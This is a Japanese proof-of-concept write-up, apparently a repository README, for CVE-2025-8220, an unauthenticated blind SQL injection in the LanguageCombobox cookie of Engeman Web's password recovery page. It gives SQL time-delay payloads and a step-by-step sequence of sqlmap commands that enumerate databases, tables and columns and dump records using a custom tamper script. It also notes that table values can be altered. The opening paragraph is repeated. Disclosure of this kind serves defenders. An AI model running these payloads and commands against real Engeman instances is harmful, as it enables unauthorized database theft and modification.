
CVE-2025-8220に記載された脆弱性を悪用するための概念実証です。これは、Engeman Webソフトウェアのパスワード回復ページの読み込み中にSQLインジェクションが発生する可能性に関するものです。
CVE-2025-8220 に記載されている脆弱性の悪用に関する概念実証です。これは Engeman Web ソフトウェアのパスワードリカバリページ読み込み中に SQLインジェクション が発生する可能性に関するものです。
Engeman Web ソフトウェアにおいて、パスワードリカバリページの読み込み中に実行される SQL クエリを操作できる脆弱性が発見されました。この脆弱性は、有効な認証情報を一切持たない訪問者によっても、つまり認証なしの状態で悪用され、アプリケーションのデータベースに保存されているデータの機密性と完全性を損なうだけでなく、重要なテーブルの値を改変することでコンポーネントレベルでのサービス拒否を引き起こす可能性があります。
アプリケーションにアクセスしてログインページにリダイレクトされたら、パスワードリカバリページにリダイレクトされるボタンをクリックします。


パスワードリカバリページを読み込むためにブラウザが送信したリクエストを確認します。初期アクセス時に保存された LanguageCombobox クッキーを含む、いくつかのクッキーが存在することに気付くでしょう。このデモでは、ブラウザのリクエストをより効率的に表示および再送信するために Burp Suite ソフトウェアを使用しました。

脆弱性を確認するには、前述のクッキーの値として一重引用符を挿入し、リクエストを再送信します。アプリケーションの応答に、閉じられていない引用符を示すエラーが表示されるはずです。

クエリ結果は返されたページに直接表示されないため、これはブラインド型の悪用となります。' AND SLEEP(30)-- - や '; WAITFOR DELAY '0:0:30'-- などのペイロードを挿入して、基盤となるデータベースを推測できます。

インジェクションが確認されたら、sqlmap などの自動化ツールを使用してデータベースをダンプできます。
--technique 引数には SEB の値を含める必要があることに注意してください。これにより、スタッククエリ、エラー、 および ブール 比較に基づく手法が使用されます。第一に、ブラインド型の悪用が必要であるため、第二に、引数値から S オプションを省略すると、SQL Server データベースでインジェクションポイントを sqlmap が見つけられなかったためです。
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

インジェクションポイントを通じて、さまざまな可能な悪用手法が特定されます。その後、データベース情報を取得できます。
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

sqlmap を使用してテーブルレコードをダンプするには、このリポジトリにある replace-dbo.py という名前のカスタムタンパースクリプトを使用する必要があります(少なくとも SQL Server データベースの場合)。その理由は、テーブルオブジェクトを参照する際に <database>.dbo.<table> 形式を使用する sqlmap ペイロードが、アプリケーションの処理と競合するためです。前述のタンパーは、それを <database>.<table> 形式のみに変換します。Engeman Web のインスタンスが MySQL または他のデータベースを使用している場合は、このタンパーは不要か、別のタンパーを作成する必要があります。


sqlmap ツールを使用するには、タンパースクリプトが配置されているディレクトリに init.py という名前の空のファイルが存在する必要があることに注意してください。タンパーをインストールのデフォルトのタンパーディレクトリに配置していない場合は、そのファイルが必要です。
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
このタンパーは、特定のテーブルのダンプ以外のプロセスのどの段階で使用しても競合を引き起こします。したがって、データベース (--dbs)、 テーブル (--tables)、 カラム (--columns)、 またはデータベースユーザー (--current-user) などの追加情報を取得するためには使用しないでください。
アプリケーションがデータベースとやり取りするために使用するユーザーは、システムレコードのコンテキスト内で高い権限を持つため、基盤となるクエリを操作してテーブルレコードの値を変更することも可能です(これは、インスタンスが基盤となるデータベースとして SQL Server を使用している場合にはるかに簡単です)。



この脆弱性により、システムの任意のインスタンスが、使用中のデータベースに存在するデータの不正な取得、および場合によっては改変に対して影響を受けやすくなります。
この脆弱性は 12.0.0.1 までのバージョンで確認されましたが、より新しいバージョンもおそらく影響を受ける可能性があります。